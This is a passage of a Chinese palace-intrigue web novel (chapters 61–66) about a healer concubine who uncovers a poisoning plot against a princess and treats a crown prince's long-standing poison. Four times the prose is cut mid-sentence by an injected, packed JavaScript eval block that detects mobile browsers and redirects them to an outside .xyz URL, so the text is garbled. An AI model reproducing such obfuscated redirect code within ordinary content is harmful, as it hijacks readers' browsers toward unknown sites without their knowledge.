她往脸上涂涂抹抹,又用假发套遮住长发,换上普通宫女的衣裳。 等推开门,春桃吓得后退半步:“天呐主子,您真的跟琳琅一模一样!” 沈良娣转了个圈,得意道:“看好屋子,要是殿下问起,就说我吃坏肚子在茅房蹲着!” 说完,她猫着腰从侧门溜出东宫,直奔京城驿站。 第六十一章 墙角偷听 驿站里灯火通明,沈良娣假装低头扫地,悄悄凑近。 驿站西侧的一间厢房突然传来异响,她猫着腰贴到窗根下,透过窗纸的破洞往里张望。 屋内,一个蒙着面的黑衣人和柳如烟相对而立,桌上摊着几张羊皮地图,上面用朱砂标着京城各处的守备要点。 “今日我已经亲眼看到沈良娣把盒子献给了皇帝。”黑衣人声音沙哑。 柳如烟嘴角勾起一抹阴冷的笑:“好,不过我之前交代过,太子萧景翊不能动,你最好记清楚。” 黑衣人突然发出一阵冷笑,笑声里满是嘲讽。 “柳如烟,别忘了你现在不过是个进京和亲的公主。若不是巫主大人需要你在中原搅局,你以为你能号令我们?” 他猛地拍桌,桌上的茶杯都跟着震颤。 “等事成之后,南疆到底谁说了算,还不一定!” 柳如烟脸色瞬间阴沉下来,袖中突然甩出一条缠满毒刺的软鞭,直取黑衣人的咽喉。 “睁大你的狗眼!我柳如烟流淌着巫主血脉,从出生起就是南疆未来的王!” 软鞭在空中划出一道森冷的弧光,“再敢对本公主不敬,我让你求生不得,求死不能!” 黑衣人迅速抽出腰间弯刀格挡,刀刃和软鞭相撞,迸出一串火星。 “血脉?巫主大人早就说了,你不过是个被推出来的傀儡!” 他猛地发力,将柳如烟逼退两步,“好好想想吧,没有我们这些死士,你拿什么掌控中原?” 沈良娣躲在窗外,手心全是冷汗。 她悄悄摸出腰间的药瓶,正犹豫要不要趁机扔进去,就听见黑衣人压低声音开口。 “蛮族商队三日后进城,三百死士混在商队里。到时候里应外合,这京城……” “够了!”柳如烟突然喝止,软鞭“啪”地缠回腰间,“这些事本公主自有安排。你即刻去联络威远侯府,让他们准备好接应。” 她凑近黑衣人,眼中闪过一丝狠厉,“再有下次,我会让你知道,背叛南疆的人是什么下场。” 沈青黛躲在窗外,脑子嗡嗡直响。 柳如烟的身份居然这么复杂? 又是南疆公主,又和巫主血脉扯上关系,还能号令黑衣人这种神秘死士? 正震惊着,脚下踩到一根枯枝,“咔嚓”一声脆响在寂静的夜里格外刺耳。 屋内瞬间没了动静。 沈青黛头皮发麻,冷汗“唰”地冒出来。 “谁?”柳如烟冰冷的声音传来,软鞭已经“嗖”地甩向窗户。 千钧一发之际,沈青黛扯着嗓子学了声猫叫:“喵——” 还故意把声调拖得又长又惨,紧接着又抓着窗沿晃了晃,假装猫跳走时碰出响动。 屋内沉默了两秒,黑衣人不耐烦地嗤笑:“一只野猫而已,浪费时间。” 柳如烟却没放松警惕,推开窗死死盯着沈青黛藏身的灌木丛。 沈青黛大气都不敢出,憋着气把身子缩成一团。 柳如烟冷笑一声,猛地合上窗。 等屋内重新传来交谈声,沈青黛才发现自己后背全被冷汗浸透了。 她连滚带爬地从灌木丛里钻出来,贴着墙根一路狂奔。 直到跑出驿站三条街,确定没被跟踪,才瘫坐在路边大口喘气。 “太刺激了!差点交代在那儿!”沈青黛拍着胸口,手还在发抖。 可一想到听到的重磅消息,又立刻来了精神。 她强撑着发软的腿,抄小路往东宫跑。 一路上脑子里全是柳如烟和黑衣人的对话,连路过自己最爱的糖画摊都没停下。 等终于回到东宫,沈青黛累得直接瘫倒在床上。 春桃吓得半死,端着热水进来时手都在抖。 “我的小祖宗!您这是跑哪儿去了?殿下派人找了您好几回!” “先别管了,快帮我盯着门。”沈青黛一骨碌爬起来,翻出藏在床底的小本子,把偷听到的消息一字一句记下来。 第二天一早,沈青黛顶着黑眼圈就往御花园的花房跑。 她指挥着小太监们搬了十几盆花回东宫,什么曼陀罗、钩吻、夹竹桃全往院子里摆,远远看去姹紫嫣红,不知情的还以 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沈青黛跳起来,差点打翻旁边的药罐,“我保证只做正经药!对了,您来找我是不是有事儿?” 萧景翊咳嗽一声,恢复了太子的威严:“确实有件事要你帮忙。” 他神色突然变得凝重,压低声音道,“殷贵妃出事了,你随我去看看。” 沈青黛一愣,“殷贵妃?就是那个总爱给我送点心的娘娘?她怎么了?” “边走边说。”萧景翊转身就走,沈青黛小跑着跟上,裙摆扫过脚边的曼陀罗花。 毓秀宫里哭声震天。 十皇子跪在殷贵妃床前,眼泪把衣襟都浸湿了,见到萧景翊冲进来,立刻跌跌撞撞扑过去。 “太子哥哥!你救救母妃!她已经睡了两天了,怎么叫都叫不醒!” 沈青黛站在门口,看着屋内熟悉的摆设——窗台上还摆着她上次送的香囊,墙上挂着十皇子画的全家福。 她记得这个小皇子是宫里少有的心性纯良,每次见面都追着她喊“沈姐姐”。 第六十二章 别蹚浑水 “十弟先别哭。”萧景翊蹲下身,手却有些僵硬地拍了拍十皇子的背,“我带了懂医术的人来。” 他转头示意沈青黛上前。 十皇子突然转头,红肿的眼睛里满是警惕:“你是谁?我不要陌生人碰母妃!” 沈青黛刚要开口,萧景翊先一步说道:“她是自己人。青黛医术了得,连太医院都比不上。” 他顿了顿,又补了句,“上次你中了风寒,就是她开的药方。” 十皇子这才有些犹豫地让开。 沈青黛轻手轻脚走到床边,先探了探殷贵妃的脉搏。 脉象虚浮杂乱,指腹下仿佛有无数细线在缠绕,时快时慢毫无规律。 她又翻开殷贵妃的眼皮,瞳孔微微涣散,眼白上还泛着一层若有若无的青灰。 “母妃怎么样了?”十皇子扒着床头,眼泪啪嗒啪嗒砸在锦被上,“是不是很严重?” 沈青黛抿了抿唇,转头问一旁宫女。 “娘娘最近可有什么异常?饮食、作息,哪怕是心情上的变化也算。” “回沈良娣的话……”宫女怯生生地福了福身。 “娘娘半月前还好好的,突然就变得暴躁易怒。前儿个摔了三个青瓷花瓶,还把伺候的小厨房掌事发落了。” 她偷瞄了眼十皇子,声音压得更低,“夜里总说头疼,说脑袋里像有东西在钻。” 沈青黛心里“咯噔”一下,转头看向萧景翊。 两人对视一眼,都想起了柳如烟与黑衣人口中的噬魂草。 那东西入体后,初期正是会让人情绪失控,后期便会陷入昏睡。 “十弟,你先出去等会儿。”萧景翊拍了拍十皇子的肩膀,“我保证,一定治好母妃。” 十皇子抽抽搭搭地被侍卫带了出去,临关门时还一步三回头。 沈青黛已经掏出银针,在烛火上仔细炙烤。 “殿下,娘娘这症状,像是脑部受了损伤。要么是外力撞击,要么……” 她压低声音,“是被人用了特殊手段。” 萧景翊皱眉:“太医院怎么说?” “刘院判说要回去查医书,很快就来。”一旁的太监总管福公公弓着腰回话。 沈青黛不再多言,找准殷贵妃头顶的百会穴,手腕轻抖,银针便稳稳扎入。 紧接着风池、神庭、太阳穴,九根金针在殷贵妃发间错落有致。 她屏息凝神,指尖轻轻捻动针柄,突然,殷贵妃紧闭的眉头缓缓松开,喉咙里发出一声低低的呻吟。 “有反应了!”福公公激动得声音都变了调。 就在这时,门外传来急促脚步声。 太医院刘院判满头大汗冲进来,一眼看到床上的殷贵妃和沈青黛手中的银针,惊得胡子都翘了起来。 “这、这是失传已久的九转金针术?宫中竟还有这等高手!” 沈青黛没空搭话,全神贯注地调整着针的角度。 萧景翊见状上前一步,沉声道:“刘院判,这位是药王嫡女,现居东宫为良娣。” “原来是药王传人!失敬失敬!” 刘院判两眼放光,立刻对着沈青黛深深一揖,“老臣早就听闻药王医术出神入化,今日得见其女,实乃幸事!还望沈良娣不吝赐教,咱们一同探讨殷贵妃的病情……” “刘院判客气了,以后有的是机会。” 萧景翊不动声色地打断他,“青黛,施针结束,便随我回东宫。” 沈青黛会意,最后看了眼逐渐好转的殷贵妃,跟着萧景翊往外走。 两人沿着宫道往回赶,夜色渐浓,宫灯在风中摇曳。 路过一片茂密的草丛时,突然传来压低的对话声。 “那萧长乐平日里仗着皇后撑腰,处处与我作对。” 是五皇子咬牙切齿的声音,“这次在她茶水里下了‘百日醉’,看她还怎么嚣张!” “表哥做得好!”另一个女声响起。 沈青黛听出是萧若微,威远侯府的表小姐。 “等她病倒,太子之位就少了个绊脚石……” 萧景翊眼神瞬间冰冷,刚要抬脚,沈青黛一把拽住他衣袖,指了指不远处的假山后。 一抹月白色裙摆若隐若现,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865859|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是四公主萧清莹。 显然,她也听到了对话,此刻正惊恐地捂着嘴,不小心踢到了脚边的石子。 “谁?”五皇子警惕的声音传来。 千钧一发之际,沈青黛冲过去一把拉住萧清莹,闪身躲进旁边更茂密的灌木丛。 萧清莹浑身发抖,眼泪在眼眶里打转:“沈姐姐,我、我不是故意的……” “嘘——”沈青黛捂住她的嘴,心跳快得几乎要冲出胸腔。 脚步声由远及近,五皇子和萧若微举着灯笼四处查看。 “奇怪,明明听到动静。”五皇子嘟囔着。 “许是野猫。”萧若微不耐烦地说,“赶紧走吧,让人发现就糟了。” 等脚步声彻底消失,沈青黛才松了口气。 萧清莹“哇”地一声哭出来:“沈姐姐,他们要害长乐姐姐!我该怎么办?” “别哭,有我在。”沈青黛轻轻拍着她的背,转头看向萧景翊。 萧景翊脸色阴沉得可怕:“青黛,带四公主先回东宫,我去处理此事。” 他顿了顿,又对萧清莹柔声道,“清莹别怕,你做得对。先去东宫躲躲,我会让人保护长乐。” 回到东宫,沈青黛给萧清莹倒了杯热茶:“喝点姜茶暖暖身子。四公主放心,太子殿下一定会救萧长乐的。” 萧清莹攥着茶杯,声音还在发抖:“我一直以为五皇兄只是贪玩,没想到他……” 她突然抬头,“沈姐姐,你是怎么知道我在那儿的?” “大概是医者的直觉吧。”沈青黛眨眨眼。 “而且,我怎么能眼睁睁看着你被发现呢?” 她突然想起什么。 “对了,这事你别告诉任何人,知道吗?五皇子背后牵扯的势力不小,咱们得小心行事。” 萧清莹重重地点头:“我听沈姐姐的!以后清莹也要像姐姐一样,做个勇敢的人!” 沈青黛笑着揉了揉她的脑袋,刚要说话,心里突然不安。 “对了,我还是去看看长乐公主吧。” 她转身就要走,却被萧景翊拦住。 第六十三章 被质疑 “青黛,别多管闲事。”萧景翊眉头紧皱,压低声音道。 “萧长乐平日里仗着晨妃和皇后撑腰,没少给你脸色看,你救了她,她也未必领情。” 萧清莹也咬着嘴唇,小声嘟囔:“沈姐姐,她说过你是乡下来的野丫头,还把你送她的胭脂摔在地上……这样的人,不值得你冒险。” 沈青黛却眨了眨眼,故意夸张地叹了口气。 “哎呀,可我这双手就是闲不住,看到病人就想救。殿下,您有公务就先走吧,我看完就回东宫。” 她朝萧清莹招招手,“清莹,给姐姐带路?” 萧清莹犹豫了一下,还是快步跟上。 两人一路往长乐宫走,远远就听见晨妃带着哭腔的声音:“太医怎么还不来!长乐要是有个三长两短,我……” 沈青黛推门进去,晨妃正抓着宫女的手腕,看到来人,脸色瞬间变得尴尬。 “沈、沈良娣,您怎么来了?” 萧长乐躺在床上,眉头紧皱,额头上满是冷汗,时不时干呕两声。 沈青黛快步上前,搭住她的脉搏,又翻开她的眼皮查看。 脉象滑数,舌苔黄腻,再结合症状,心里顿时有了底。 “晨妃娘娘,长乐公主这是菌子**。”沈青黛转头吩咐,“立刻准备甘草、绿豆,熬成浓汤,连喝三碗,毒就能解了。” 晨妃一愣,下意识看向旁边的太医:“这……能行吗?沈良娣,长乐若是出了事……” 晨妃话音未落,门外传来匆匆脚步声,却是太医院章太医领着几个医官到了。 章太医捻着胡须,目光在沈青黛身上一扫,语气带着几分傲慢。 “沈良娣也懂医术?长乐公主的病症,还是交给太医院来诊断吧。”说着便要上前诊脉。 沈青黛不慌不忙地侧身拦住:“章太医且慢。我已诊断出长乐公主是菌子**,只需甘草绿豆汤便可解毒。” “荒谬!”章太医冷笑一声。 “御膳房选材向来严格,怎会出现毒菌?再说长乐公主这症状,倒像是饮食积滞,若是误服寒凉解毒之剂,反而有害!” 晨妃一听,脸色瞬间变得煞白,拉着章太医的衣袖急道:“章太医,您可要救救长乐啊!这到底是怎么回事?” 这时,章太医身后一个年轻小太医突然眼睛一亮,挤到前面来:“沈姑娘!真的是您!” 沈青黛定睛一看,认出这是上次在宫外义诊时,自己帮着治过伤寒的小齐太医。 当时小齐因为给百姓看病耽误了太医院事务,被章太医斥责,还是沈青黛出面说了好话。 “小齐,不得无礼!”章太医瞪了小齐一眼,“还不快给公主诊脉!” 小齐却没理会,反而笑着对沈青黛说:“沈姑娘,上次多亏您教我的法子,我治好了好几个伤寒病人呢!” “您诊断病症的本事,我是最佩服的!这次您说公主是菌子**,我信!” “你!”章太医气得脸色铁青,“一个小小医官,懂什么医术?再敢胡言乱语,就给我滚出太医院!” 晨妃看看章太医,又看看沈青黛,一时没了主意。 这时,一直站在沈青黛身后的萧清莹突然站出来,大声说道:“晨姨母,沈姐姐医术高明,连殷贵妃的病都是她治好的!您就信她这一回吧!” “四公主,慎言!”章太医皱起眉头,“殷贵妃的病症岂是长乐公主能比的?这万一出了差错……” “章太医既然如此笃定,想必已经有了治疗之法?” 沈青黛似笑非笑地看着他,“不如先开个方子,让我们也见识见识太医院的‘高明医术’?” 章太医被噎得说不出话,冷哼一声。 “长乐公主这病,需用消食导滞之剂,再辅以针灸。若是服了沈良娣的甘草绿豆汤,病情加重,这个责任谁来担?” 晨妃一听,顿时慌了神,拉着沈青黛的手,声音发颤。 “沈良娣,您看这……章太医是太医院的老人了,经验丰富,要不……” “晨妃娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874625|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人命关天,容不得半点马虎。” 沈青黛神色严肃,“若是按照消食之法治疗,不出半个时辰,长乐公主的毒就会攻心。到那时……” 话未说完,萧长乐突然抓起枕边的茶盏狠狠砸向地面,瓷片四溅。 “我不要你管!章太医说什么我就信什么,总比听一个来路不明的野丫头胡说强!” 晨妃吓得脸色煞白,慌忙去捂女儿的嘴:“长乐!不得无礼!” 沈青黛看着满地狼藉,嘴角勾起一抹冷笑,掸了掸衣袖。 “既然公主信不过我,那我何必自讨没趣?晨妃娘娘,告辞了。” 她转身就走,萧清莹急忙跟上,临走前还不忘瞪了萧长乐一眼:“不知好歹!等你毒发了可别后悔!” “沈良娣留步!”章太医突然阴阳怪气开口。 “就这么走了?万一长乐公主真如你所说毒发,岂不是坐实了误诊之罪?依老夫看,不如留下来,也省得日后……” “章太医这是在威胁我?”沈青黛猛地回头,眼中寒芒毕露。 “我好心救人,反倒成了罪人?好,今日这闲事我不管了!” 她甩袖就要跨出门槛,却听外头传来熟悉的脚步声。 “都吵什么!”刘院判气喘吁吁冲进来,白胡子随着呼吸剧烈起伏,“太子殿下听闻长乐公主病重,特命我前来!” 他一眼看到沈青黛,立刻恭敬行礼:“沈良娣也在?老臣来得正好,还望您不吝赐教!” 章太医脸色瞬间涨成猪肝色:“刘院判!您怎可对一个后宫妇人如此恭敬?她不过是……” “章太医怕是忘了,沈良娣乃药王嫡女!”刘院判厉声打断,转头看向沈青黛,“敢问沈良娣,可已诊断出病因?” 沈青黛冷笑一声,指了指床上的萧长乐:“我早已说过,是菌子**。可有人非说我误诊,要按消食之法治疗。” 她瞥了眼章太医,“既然如此,就请刘院判查验一番,也好让某些人知道,什么叫‘井底之蛙’!” 第六十四章 施加援手 刘院判不敢耽搁,立刻命人取来长乐公主未吃完的食物,又仔细检查了呕吐物。 片刻后,他脸色凝重地举起一块暗红色菌子:“果然是毒蝇伞!此菌剧毒,常人误食半朵便会呕吐、惊厥,若不及时解毒……” 他看向章太医,目光如刀,“章太医行医数十载,竟连毒菌都认不出?” 章太医双腿一软,差点瘫倒在地:“这、这不可能!御膳房怎会……” “够了!”晨妃突然尖叫一声,死死抓住刘院判的衣袖。 “快!快救救长乐!沈良娣,求您开药方!方才是我猪油蒙了心,求您大人有大量,救救我的女儿!” 说着“扑通”一声跪下,额头重重磕在青砖地上。 萧长乐也没了方才的嚣张,惨白着脸抓住沈青黛的裙摆:“对、对不起……我错了,你救救我……我不想死……” 沈青黛居高临下地看着她,突然轻笑出声:“现在知道怕了?早干什么去了?” 她转头就要走,却被萧清莹拉住:“沈姐姐,救人一命胜造七级浮屠,长乐她……” “罢了。”沈青黛叹了口气。 “小齐,去取三斤绿豆、半斤甘草,文火慢熬一个时辰。记住,必须用井水!” 她又掏出一个小瓷瓶,倒出三颗褐色药丸,“先让公主服下,可暂缓毒性。” 小齐忙不迭点头,带着宫女飞奔而去。 刘院判凑到沈青黛身边,满脸敬佩:“沈良娣这‘解毒三丸’,当真是神乎其技!不知可否……” “刘院判若是想学,改日我自会相授。”沈青黛打断他,目光扫过瘫坐在地的章太医,“只是有些人,怕是没机会学了。” 章太医脸色灰白如纸,却突然抬起头,声音带着垂死挣扎的颤抖:“沈、沈良娣!草民斗胆一问,那甘草绿豆汤……当真能解百毒?” 刘院判狠狠瞪了他一眼:“都这时候了还问!若不是沈良娣妙手回春,长乐公主此刻……” “刘院判,章太医既然问了,我便答了。”沈青黛蹲下身子,与瘫在地上的章太医平视。 “甘草解百药毒,绿豆清脏腑热,二者相辅相成。但单用此汤,只能解寻常菌毒。” “若遇南疆奇毒,还差一味引药——方才给长乐公主服下的药丸,便是关键。” 章太医瞳孔骤缩,脸上满是震惊与懊悔。 “草民行医四十年,竟不知这寻常之物有如此妙用……是草民学艺不精,误诊险些害了公主性命!” 说着,他突然重重磕头,额头瞬间渗出鲜血,“请沈良娣责罚!” “章太医这是何苦!”刘院判连忙上前搀扶,一边转头对沈青黛赞叹。 “老章向来眼高于顶,今日能这般服软,可见沈良娣医术之高,让人心服口服!” “是沈良娣的功劳!”章太医抓着刘院判的胳膊,声音哽咽。 “若不是沈良娣及时出手,草民一世清誉毁于一旦不说,更会铸成大错!” 刘院判摸着胡须连连点头,看向沈青黛的目光愈发炽热。 “沈良娣不仅医术精湛,还肯倾囊相授,这般胸怀,老臣佩服!” “不知沈良娣可否愿意担任太医院客座医正?也好让太医院上下多学学本事!” 沈青黛刚要推辞,床上突然传来萧长乐的声音。 “母妃……我……我有事要说,其实这次**,是有人要杀我!” 众人回头,只见她脸色依旧苍白,却死死抓着晨妃的手腕。 晨妃吓得浑身发抖,泪水夺眶而出。 “长乐别怕!有母妃在!沈良娣,求求您再看看,长乐是不是还没好透?” 沈青黛快步上前,重新搭脉后松了口气:“公主脉象渐稳,是方才受了惊吓。” 晨妃紧绷的肩膀却没放松,猛地转身,红着眼圈扫视屋内众人。 “是谁?谁要害我的长乐?御膳房的人?还是宫里的嬷嬷?说!” 她声音发颤,“长乐向来与世无争,到底挡了谁的路?” 章太医“扑通”一声跪下,额头贴地:“是臣医术不精,险些误事! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874626|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但下毒之事,臣真的……” “够了!”晨妃突然尖叫,吓得小宫女打翻了铜盆,“现在说这些有什么用?我的女儿差点就没了!” 她踉跄着抓住沈青黛的胳膊,“沈良娣,您见多识广,您说,该怎么查?” 萧清莹攥着裙摆,嘴唇动了动。 那日偷听到的五皇子和萧若微的对话在耳边回响,可想起沈青黛说的“小心行事”,又把话咽了回去,着急地看向沈青黛。 沈青黛拍了拍晨妃的手,目光扫过众人。 “娘娘莫急。要查清楚,就得从源头查起——这毒菌是怎么进的长乐公主的膳食?” 她转向刘院判,“刘院判,可否请您派人彻查御膳房,从采买、洗菜到掌勺的人,一一问话?” 刘院判连忙点头:“老臣这就去办!” 刚要转身,外头突然传来整齐的脚步声,萧景翊大步流星踏入殿内,玄色衣袍上还沾着些许夜露,身后跟着的侍卫个个神色肃然。 “太子殿下!”晨妃立马扑过去,裙摆扫翻了脚边的矮凳,“长乐差点没命,您可要为我们做主啊!” 萧景翊目光扫过床上虚弱的萧长乐,眉头拧紧:“怎么回事?” 沈青黛三言两语将事情经过说完,特意强调了御膳房毒菌以及萧若微送点心的可疑之处。 萧景翊越听脸色越沉。 “来人!封锁御膳房,还有,彻查所有和长乐公主膳食有关的人!” “殿下!刚接到消息!”一名暗卫突然闪现,单膝跪地。 “晨妃娘娘小厨房的宫女夏荷,被发现死在后山枯井里!正是她今日给长乐公主送的膳食!” 殿内瞬间死寂,晨妃的抽气声清晰可闻。 萧长乐颤抖着抓住被子,声音带着哭腔:“我就知道……一定是有人故意要害我……” 沈青黛蹲下身,握住萧长乐冰凉的手,余光瞥见萧景翊若有所思的表情,突然灵机一动。 “说起来,这毒菌里混着的鸡油菌,似乎是皇后宫里**的品种?” 第六十五章 幕后黑手 她故意做出困惑的样子,“我记得前日去给皇后请安,还见御膳房给坤宁宫送了鸡油菌熬的汤。” 晨妃猛地抬头:“你是说……陆琼华?不可能!她是长乐的表姐,怎么会……” “表姐?”沈青黛眨了眨眼。 “可皇后娘娘被禁足后,陆家两位小姐在宫宴上出尽风头,连带着威远侯府都扬眉吐气了。” 她状似无意地补充,“听说威远侯最近和柳如烟走得很近呢。” 萧景翊抬手示意暗卫:“去查,最近三个月御膳房鸡油菌的采买记录,还有坤宁宫的膳食单子。” 他转向晨妃,语气难得温和,“晨姨母先安心照料长乐,有我在,定能查出真相。” 晨妃踉跄着抓住床幔:“长乐不过是个无权无势的公主,哪里碍着她了?” 她声音发颤,眼泪止不住地往下掉,“当年我入府做侧室,皇后她母亲还抱过襁褓里的长乐……” 萧景翊眉头紧皱,余光瞥向沈青黛。 沈青黛立刻心领神会,上前扶住晨妃的胳膊,压低声音道:“娘娘,您仔细想想,最近陆家在朝堂上可有什么动作?” “威远侯府与柳如烟来往密切,皇后娘娘被禁足,会不会想借您娘家的势力……” “您的意思是……”晨妃猛地抬头,眼中满是惊恐,“他们想逼我娘家站队?可我父兄一向恪守本分,从不参与党争啊!” 萧景翊接过话茬,语气严肃。 “晨姨母,有些事不是您想置身事外就能躲开的。您不妨派人回娘家问问,最近是不是有人暗中施压?” 他顿了顿,又补充道,“若真有人想把您拉下水,长乐公主这一出,不过是个警告。” 晨妃双腿一软,瘫坐在椅子上。 萧长乐在床上挣扎着坐起来,声音虚弱却带着不甘:“所以我就是个靶子?凭什么拿我开刀!” 她气呼呼地看向沈青黛。 “还不是太子哥哥厉害,一眼就看出不对劲!你不过是听太子哥哥的吩咐帮忙,有什么好得意的!” 沈青黛被噎得哭笑不得,萧清莹却忍不住跳出来。 “长乐表姐,你怎么能这么说?要不是沈姐姐一眼诊断出毒菌,还想出用甘草绿豆汤解毒,你现在……” “够了清莹。”沈青黛拦住她,笑眯眯地看向萧长乐。 “公主说得对,都是太子殿下运筹帷幄。我呀,不过是跑跑腿、打打下手的。” 她故意朝萧景翊眨眨眼,“毕竟殿下英明神武,连我这点小聪明,都是跟殿下学的呢!” 萧景翊轻咳一声,掩饰住嘴角的笑意,转头对晨妃道:“姨母先别忧心。等查清楚采买记录和膳食单子,一切自会水落石出。” 他又看向萧长乐,“五皇妹好好休养,若再想起什么线索,立刻派人告知。” 晨妃见二人有意离开,突然抓住沈青黛的手,扑通一声跪下。 “沈良娣,方才是我猪油蒙了心,错怪您了!若不是您和太子殿下,长乐今日怕是……” 她泣不成声,“求您看在长乐年幼的份上,多帮衬着些!” “娘娘快请起!”沈青黛慌忙将她扶起,“您和长乐公主都是心善之人,我哪能见死不救?” 萧景翊适时上前一步,温声说道:“姨母先好生照顾长乐,若有任何异常,即刻派人来东宫告知。五皇妹也放宽心,好好休养。” 他微微颔首示意,目光扫过屋内众人,又补充道,“一切有我。” 晨妃泪眼婆娑,连连道谢,目送着二人离去。 萧长乐苍白着脸,嘴唇动了动,终究没说出话来。 走出长乐宫,夜色已深,宫道上的灯笼在风中轻轻摇晃。 萧清莹小跑着跟上来,两眼放光地看着沈青黛。 “沈姐姐,你方才好威风!一眼就看出毒菌的问题,还把章太医说得哑口无言!” 沈青黛笑着捏了捏她的脸颊:“就你会夸人。不过这次多亏太子殿下及时赶到,不然还真不好收场。” 她转头看向萧景翊,调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874627|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮地眨眨眼,“对吧,殿下?” 萧景翊轻咳一声,耳尖微微泛红:“别贫嘴,先回东宫。等暗卫的消息。” 正说着,身后突然传来急促的脚步声。 刘院判气喘吁吁地追上来,白胡子随着呼吸剧烈起伏:“沈良娣留步!老臣还有些医术上的问题,想向您请教!” 沈青黛停下脚步,礼貌地福了福身:“刘院判客气了,有什么问题尽管问。” 刘院判掏出一本皱巴巴的医书,指着上面的批注激动地说:“方才您用甘草绿豆汤解毒,又辅以独门药丸。” “老臣研究医书多年,从未见过如此精妙的配伍!您这医术,到底师从何人?莫非真是药王亲传?” 沈青黛眨了眨眼,笑着摇头。 “刘院判谬赞了。我不过是从小喜欢翻看医书,没事就爱捣鼓药材。今日能侥幸救长乐公主,也是碰巧罢了。” “侥幸?”刘院判连连摆手。 “沈良娣太谦虚了!就说那九转金针术,失传已久,您不仅会用,还能根据病症灵活调整针法,这等天赋,老臣行医四十年,从未见过!” 他突然眼睛一亮,“不知沈良娣可否愿意收徒?太医院的年轻医官们,都想跟着您学习!” 沈青黛吓了一跳,连忙摆手。 “使不得使不得!我自己都还在摸索呢,哪敢为人师表?刘院判若是不嫌弃,以后咱们可以多交流医理,互相学习。” 萧景翊见刘院判还要再说,不动声色地挡在沈青黛身前。 “刘院判,眼下当务之急是查出真相。青黛忙活了一天,也该回去休息了。” “是是是!老臣糊涂!”刘院判这才回过神。 “沈良娣早些歇息,日后还请多多指教!”他又对着萧景翊行礼,“太子殿下万安,老臣告退!” 等刘院判走远,沈青黛忍不住笑道:“刘院判太热情了,我差点招架不住。” 萧景翊瞥了她一眼:“谁让某人出尽风头?连太医院都想挖你过去。” 第六十六章 可以解毒了 “我这不是帮殿下分忧嘛!”沈青黛笑嘻嘻地说,“再说了,我可舍不得离开东宫,不然谁给您研制解药,谁帮您抓坏人?” 萧清莹在一旁听得直乐,眉眼弯弯像月牙:“沈姐姐,我先回自己宫殿啦!明日再找你学认草药!” 她朝两人挥挥手,蹦蹦跳跳地消失在宫道转角。 萧景翊轻咳一声,耳尖微微泛红:“少贫嘴,快些回去。” 到了东宫后,沈青黛小跑着跟上,突然拉住他的袖子,往自己寝殿拽:“殿下,来都来了,先进我屋里坐坐!” 守在门口的琳琅立刻绷紧神经,手按在腰间短刃上,目光警惕地盯着沈青黛。 “沈良娣,殿下万金之躯,岂是你说拉就能……” “琳琅。”萧景翊冷冽地打断她,“退下。” 琳琅咬了咬唇,不情不愿地福了福身,临走前还狠狠瞪了沈青黛一眼。 沈青黛反手关上房门,笑嘻嘻地把萧景翊按在椅子上:“瞧她那护主的架势,倒像我要吃了你似的。” “她跟着我多年,警惕些是好事。”萧景翊挑眉,“不过你突然拉我进来,总不会只是想喝茶?” 沈青黛搬了个小板凳,在他对面坐下,突然伸手搭上他的脉搏。 萧景翊身子微微一僵,耳尖迅速染上薄红:“你、你做什么?” “给你诊脉。”沈青黛皱着眉,指尖感受着脉象下那股若有若无的暗涌。 “殿下体内的毒蛰伏多年,虽然被你的内力压制,但每次发作都损耗根基。我新配的解药已经准备好了,今天就能开始解毒。” 萧景翊神色微动,别开脸:“这毒跟随我八年,太医院束手无策,你当真……” “当然当真!”沈青黛从袖中掏出一本翻得卷边的医书,上面密密麻麻全是批注。 “我研究了三个月,结合药王谷的古籍和太医院的病案,还在小白鼠身上试过二十多次!” 她又摸出个小布包,里面躺着几只活蹦乱跳的小白鼠,“你看,这些小家伙吃了解药,连最凶险的‘三日寒’都能扛过去!” 萧景翊看着她亮晶晶的眼睛,喉结动了动:“若是……” 